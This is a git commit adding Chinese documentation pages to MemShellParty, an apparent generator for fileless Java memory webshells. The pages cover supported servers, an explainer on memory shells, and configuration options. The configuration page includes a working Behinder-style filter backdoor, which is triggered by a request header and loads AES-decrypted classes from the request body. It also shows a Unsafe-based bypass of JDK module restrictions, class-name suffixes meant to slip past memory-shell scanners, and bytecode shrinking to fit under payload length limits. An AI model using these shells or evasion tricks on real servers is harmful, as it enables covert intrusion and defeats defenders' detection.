docs: add memshell-core-config mdx

This commit is contained in:
ReaJason
2025-12-16 21:55:21 +08:00
parent 37ed3b0dee
commit ffb8313811
9 changed files with 456 additions and 178 deletions
+88
View File
@@ -0,0 +1,88 @@
---
title: 适配情况
icon: Album
---
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 12 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | Handler | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent |
| FilterChain - Agent | ServletHandler - Agent | | |
| ContextValve - Agent | | | |
| Upgrade | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 8 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent|
| FilterChain - Agent | ContextValve - Agent (6) | | |
| ContextValve - Agent | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](./suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 打包方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR、ScriptEngineJar、GroovyTransformJar
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT 链)
- [x] H2
- [ ] JNDI
- [ ] 其他常见反序列化
+24 -21
View File
@@ -28,29 +28,32 @@ inject(context, shell);
| 挂载类型 | 参考实现 |
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyAgentHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
| (Jetty)Handler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (Jetty)Customizer | [GodzillaJettyCustomizer](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyCustomizer.java) |
| (Struct2)Action | [GodzillaStruct2Action](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java) |
| (Tomcat)Upgrade | [CommandUpgrade](https://github.com/ReaJason/MemShellParty/blob/master/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandUpgrade.java) |
### 参考步骤
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :memshell:compileJava` 或 `.\gradlew.bat :memshell:compileJava`
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
3. 执行 `./gradlew :generator:compileJava` 或 `.\gradlew.bat :generator:compileJava`
4. 在 generator/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
+28 -73
View File
@@ -1,88 +1,43 @@
---
title: 适配情况
icon: Album
title: 什么是 Java 内存马
---
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
## 什么是 webshell
### 中间件以及框架
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
| Tomcat5 ~ 11 | Jetty6 ~ 12 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | Handler | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | Customizer | ContextValve - Agent | ContextValve - Agent |
| FilterChain - Agent | ServletHandler - Agent | | |
| ContextValve - Agent | | | |
| Upgrade | | | |
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
常见的 webshell 功能包括:
| JBossAS4 ~ 7 | JBossEAP6 ~ 8 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent|
| FilterChain - Agent | ContextValve - Agent (6) | | |
| ContextValve - Agent | ServletHandler - Agent (7) | | |
1. 命令回显,反弹 unix shell。
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
## 演变历程
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
### 内存马功能
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](./suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
## 常见 Java 内存马
### 打包方式
在 Java 中 webshell 常见的后缀有 jsp 和 jspx。根据 Servlet 的定义(这部分的知识强烈推荐:[Head First Servlets and JSP](https://www.amazon.com/Head-First-Servlets-JSP-Certified/dp/0596516681)),JSP 本质就是一个 Servlet,它提供了独特的 entrypoint 用于访问。因此一开始大家最常打的内存马就是 Servlet 内存马,通过 JSP 获取 request 拿到 ServletContext 进行 Servlet 的动态注册。
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR、ScriptEngineJar、GroovyTransformJar
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT 链)
- [x] H2
- [ ] JNDI
- [ ] 其他常见反序列化
冰蝎工具后来提供了 Java Agent 内存马实现,使得内存马技术得到了广泛传播。
**任何能进行 Web 通信的组件都可以成为内存马依附的位置**。
Java EE 中的 Servlets 就提供了 Servlet、Filter 以及 ListenerTomcat 通过挖掘已经有了 Upgrade、WebSocket、Executor、Valve、ApplicationFilterChain。并且 SpringWebMVC 中的 Controller、InterceptorSpringWebFlux 中的 WebFilter 这种框架内存马也使用广泛。
从技术实现的不同,分为非 Agent 内存马与 Agent 内存马,由于 Agent 内存马需要落地 Jar 包,冰蝎工具的作者后续也提供了无文件 Agent 内存马的实现方式,参考:[Java 内存攻击技术漫谈](https://xz.aliyun.com/news/9525)、[论如何优雅的注入 Java Agent 内存马](https://xz.aliyun.com/news/11086)。
## 延伸阅读
- [Shell 中的幽灵王者 — JAVAWEB 内存马【认知篇】](https://www.4hou.com/posts/zlkq)
- [JAVA 内存马的“一生”](https://xz.aliyun.com/news/10451)
- [一文看懂内存马](https://www.freebuf.com/articles/web/274466.html)
+274
View File
@@ -0,0 +1,274 @@
---
title: 核心配置项
description: 了解和使用那些可能用到的一键开关
---
### 服务类型
所需要注入内存马的 Java 服务类型,目前支持以下方式。
如果在以下列表中未找到,可先查看 [目标服务介绍](/docs/server-intro) 是否有提到
如果仍然没有,则可提 [issue](https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md) 请求适配
- [x] Tomcat
- [x] Jetty
- [x] Undertow
- [x] JBoss
- [x] Resin
- [x] WebLogic
- [x] WebSphere
- [x] GlassFish
- [x] TongWeb
- [x] BES
- [x] InforSuite
- [x] Apusic
- [x] SpringWebMvc
- [x] SpringWebFlux
- [x] XXLJOB
- [x] Struct2
### 服务版本
服务版本用于部分中间件不同版本之间包名不同,需要进行单独适配的情况,默认 Unknown 即可。
仅以下两种内存马用到:
1. TongWeb Valve 内存马:可选值为 6、7、8
2. Jetty Handler/JakartaHandler 内存马:可选值为 6、7+、12
### 内存马工具
所需要注入内存马工具类型,目前支持以下几种方式:
- [x] [Godzilla](/docs/godzilla)
- [x] Behinder
- [x] Command
- [x] [Suo5](/docs/suo5)
- [x] [Suo5v2](/docs/suo5)
- [x] AntSword
- [x] NeoreGeorg
- [x] Custom:自定义内存马,用于上续工具都不是想要的情况下,参考 [实现自定义内存马](/docs/custom-memshell) 进行使用
### 调试模式
集成测试用例仅测试了各中间件大版本下的兼容情况,不可避免地某些版本可能存在问题,一味地去除各种打印信息在这种情况下排查问题是棘手的,因此有了调试模式。
1. 处理第一个问题,内存马是否注入成功,当开启调试模式后内存马注入器使用 System.out.println 向业务日志打印注入信息
```java
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);// [!code highlight]
```
2. 处理第二个问题,内存马注入成功但是连不上怎么回事,当开启调试模式后内存马工具类使用 e.printStackTrace 向业务输出错误堆栈
```java
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
try {
if (request.getHeader(this.headerName) != null
&& request.getHeader(this.headerName).contains(this.headerValue)) {
HttpSession session = ((HttpServletRequest) servletRequest).getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", servletRequest);
obj.put("response", unwrap(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
Object instance = new BehinderFilter(Thread.currentThread().getContextClassLoader()).defineClass(bytes, 0, bytes.length).newInstance();
instance.equals(obj);
return;
}
} catch (Throwable e) {
e.printStackTrace();// [!code highlight]
}
filterChain.doFilter(servletRequest, servletResponse);
}
```
调试所用的打印代码默认是写在模板中的,因此当关闭调试模式的时候,我们会使用字节码修改技术对打印调试信息的函数调用进行删除,详细实现可参考:[LogRemoveMethodVisitor.java](https://github.com/ReaJason/MemShellParty/blob/master/memshell-party-common/src/main/java/com/reajason/javaweb/buddy/LogRemoveMethodVisitor.java),也就是把以下三种函数调用给去除
```java
System.out.println(msg) //printf 还不支持)
e.printStackTrace()
Logger.info(msg) // (java.util)
```
### 回显模式
<Callout title="注意" type="warn">
并不是所有服务都支持回显马,因此在不支持的服务开启回显模式,也享受不到回显效果
</Callout>
调试模式仅限于我们能访问到业务日志,但是实战过程中,在没 getshell 前我们获取不到服务器权限,并且调试模式在目标业务打印大段注入信息属实敏感,因此有了回显模式。
**回显模式主要解决的问题是实战过程中判断内存马注入是否成功。**
当开启回显后,会将注入器字节码放置到回显马中,返回一个目标服务类型的回显马,代码执行顺序为:回显马运行 -> 注入器注入 -> 挂载内存马。
<Callout title="额外注意" type="warn">
由于回显马需要从当前线程获取 request 和 response 对象,因此跨线程 RCE 的环境下,无法回显,根据代码执行顺序,无法回显的环境,开启回显模式之后注入器也不会进行注入动作,因此支持回显马但无法回显的环境,请一定不要开启回显模式。
</Callout>
### 绕过模块限制
JDK9+ 有了模块化系统,严格限制各大函数的调用。注入器在注入内存马时需要使用反射调用 defineClass,不是 java.base 模块无法调用,开启绕过模块限制会在注入器自动插入绕过模块限制的代码。也就是如下这坨代码:
```java
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
} catch (Exception ignored) {
}
```
### Lambda 类名后缀
由于目前 RASP 并未广泛普及,内存马无文件的特性仅在 RASP 面前一览无余,在其他设备上就犹如神力无法被精准检测。而目前绝大多数主动扫描内存马设备为了降低 dumpClass 风险和增加效率,并不会将 JVM 中所有的类进行分析,可能设置有白名单,而 Lambda 类名是众多一线渗透专家测试出来的结果。在类名中添加 Lambda 类名特征即可绕过主动扫描设备。
开启 Lambda 类名后缀之后,会在注入器和内存马类名后自动加入 `$Proxy0$$Lambda$1`。
### 缩小字节码
默认情况下,一个内存马就有 1w 多长度,因此越来越多的地方做了长度限制,异常的长度认为是恶意行为,例如 SpEL 高版本仅支持 10,000 以下字符长度的表达式执行。
以下三种方式中,测试结果显示当前项目使用的 ASM SKIP_DEBUG 缩小字节码最小:
1. 普通编译类文件:8943 长度
2. Javassist 去除属性:8003 长度
3. javac 去除调试信息:6658 长度
4. ASM SKIP_DEBUG**6349** 长度
#### Javassist 去除属性
由于 Javassist 被用于各类反序列化字节码工具中,因此使用最为广泛,以下字节码缩小代码被广为流传
```java
public static byte[] shrink(byte[] classBytes) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
DataOutputStream dataOutputStream = new DataOutputStream(byteArrayOutputStream);
ClassPool classPool = new ClassPool();
classPool.appendSystemPath();
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classBytes));
ClassFile classFile = ctClass.getClassFile2();
classFile.removeAttribute("SourceFile");
classFile.removeAttribute("LineNumberTable");
classFile.removeAttribute("LocalVariableTable");
classFile.removeAttribute("LocalVariableTypeTable");
classFile.removeAttribute("Deprecated");
classFile.removeAttribute("Signature");
classFile.removeAttribute("StackMapTable");
for (MethodInfo methodInfo : classFile.getMethods()) {
methodInfo.removeAttribute("RuntimeVisibleAnnotations");
methodInfo.removeAttribute("RuntimeInvisibleAnnotations");
methodInfo.removeAttribute("SourceFile");
methodInfo.removeAttribute("LineNumberTable");
methodInfo.removeAttribute("LocalVariableTable");
methodInfo.removeAttribute("LocalVariableTypeTable");
methodInfo.removeAttribute("Deprecated");
methodInfo.removeAttribute("Signature");
methodInfo.removeAttribute("StackMapTable");
List<AttributeInfo> attributes = ((CodeAttribute) methodInfo.getAttribute("Code")).getAttributes();
ArrayList arrayList = new ArrayList();
for (AttributeInfo attributeInfo : attributes) {
if ("StackMapTable".equals(attributeInfo.getName()) || "LineNumberTable".equals(attributeInfo.getName())) {
arrayList.add(attributeInfo);
}
}
for (Object o : arrayList) {
attributes.remove((AttributeInfo) o);
}
}
ctClass.toBytecode(dataOutputStream);
ctClass.detach();
ctClass.defrost();
return byteArrayOutputStream.toByteArray();
}
```
#### javac 去除调试信息
忘记在哪篇文章,看到说测试当前情况为最佳,手动编译类,添加 `-g:none` 参数跳过类的调试信息。
```java
javac -g:none xx.java
```
#### ASM SKIP_DEBUG
在一次偶然的机会,我在看 ClassReader 的 flag 都是做什么时,注意到了 SKIP_DEBUG 注释里面的描述,删除各种 SourceFile, SourceDebugExtension, LocalVariableTable, LocalVariableTypeTable, LineNumberTable and MethodParameters 属性,这不是和 Javassist 去除属性代码有点类似。
```java
public class ClassReader {
/**
* A flag to skip the SourceFile, SourceDebugExtension, LocalVariableTable,
* LocalVariableTypeTable, LineNumberTable and MethodParameters attributes. If this flag is set
* these attributes are neither parsed nor visited (i.e. {@link ClassVisitor#visitSource}, {@link
* MethodVisitor#visitLocalVariable}, {@link MethodVisitor#visitLineNumber} and {@link
* MethodVisitor#visitParameter} are not called).
*/
public static final int SKIP_DEBUG = 2;
}
```
于是我果断的写下了以下代码,发现其比 Javassist 去除属性效果更好:
```java
public static byte[] shrink(byte[] bytes) {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {};
cr.accept(cv, ClassReader.SKIP_DEBUG);
return cw.toByteArray();
}
```
### 静态初始化
当前注入器实现的逻辑都在构造方式中,不过并不是所有的漏洞 sink 点我们都能触发到 newInstance 方法调用构造方法实例化对象,因此我们加入了静态初始化开关,当开启后,会在类中添加静态代码块调用构造方法,例如:
```java
static {
new ImageUtil();
}
```
这样使得部分漏洞 sink 点为 `Class.forName(name, true, classLoader);` 的场景也能正常触发内存马注入了。
+1 -1
View File
@@ -1,3 +1,3 @@
{
"title": "Servlets 规范内存马"
"title": "Java Servlet 规范内存马"
}
+3 -2
View File
@@ -1,13 +1,14 @@
{
"pages": [
"index",
"compatibility",
"server-intro",
"self-host",
"self-build",
"sdk",
"changelog",
"---Java 内存马---",
"what-is-memshell",
"---内存马生成器---",
"memshell-core-config",
"memshell",
"custom-memshell",
"---内存马工具---",
-43
View File
@@ -1,43 +0,0 @@
---
title: 介绍
---
Java 内存马是一种无文件 webshell,相较于传统的 webshell,它无须落地 JSP 文件即可实现所有 webshell 功能。其唯一缺点可能就是服务重启即失效,因此也出现了附带的内存马复活相关技术。
## 什么是 webshell
> From [wikipedia](https://en.wikipedia.org/wiki/Web_shell)
webshell 是一种类似于 shell 的入口,攻击者可通过它来控制目标 web 服务器并实施网络攻击。由于 PHP 被广泛应用于 Web 应用,因此 PHP webshell 是最常见的,当然 ASP、Java、NodeJs 等框架与编程语言也存在 webshell。
常见的 webshell 功能包括:
1. 命令回显,反弹 unix shell。
2. 网站管理工具,例如蚁剑、哥斯拉和冰蝎等。
3. 代理隧道,例如 reGeorg、Neo-reGeorg、suo5 等。
## 演变历程
随着攻防演练热度越来越高,主机安全(文件监控、防篡改、EDR),WAF 流量设备,webshell 查杀等专业的安全设备被广泛使用。**webshell 已经从大马、小马、一句话马、加密一句话马逐步进化到现在的加密内存马,不断突破安全设备的检测**。无文件这一特性使主机安全设备变得失效,而加密则是针对 WAF 等流量设备,因此内存马使用得越来越多,当前唯一真正有效的防护措施只剩下了 **RASP(运行时应用安全防护)** — 这也是我目前所从事的方向 Java RASP 研发 — [靖云甲](https://www.boundaryx.com/category/product/adr)。
因此内存马也被称为内存 webshell,相较于传统 webshell 的文件落地方式,只是在攻防对抗中进化,换了个实现方式挂 webshell。
此项目 https://github.com/tennc/webshell 收集了超多不同编程语言的 webshell,或许你遇到有意思的 webshell 时,可以考虑将其改造成内存马。
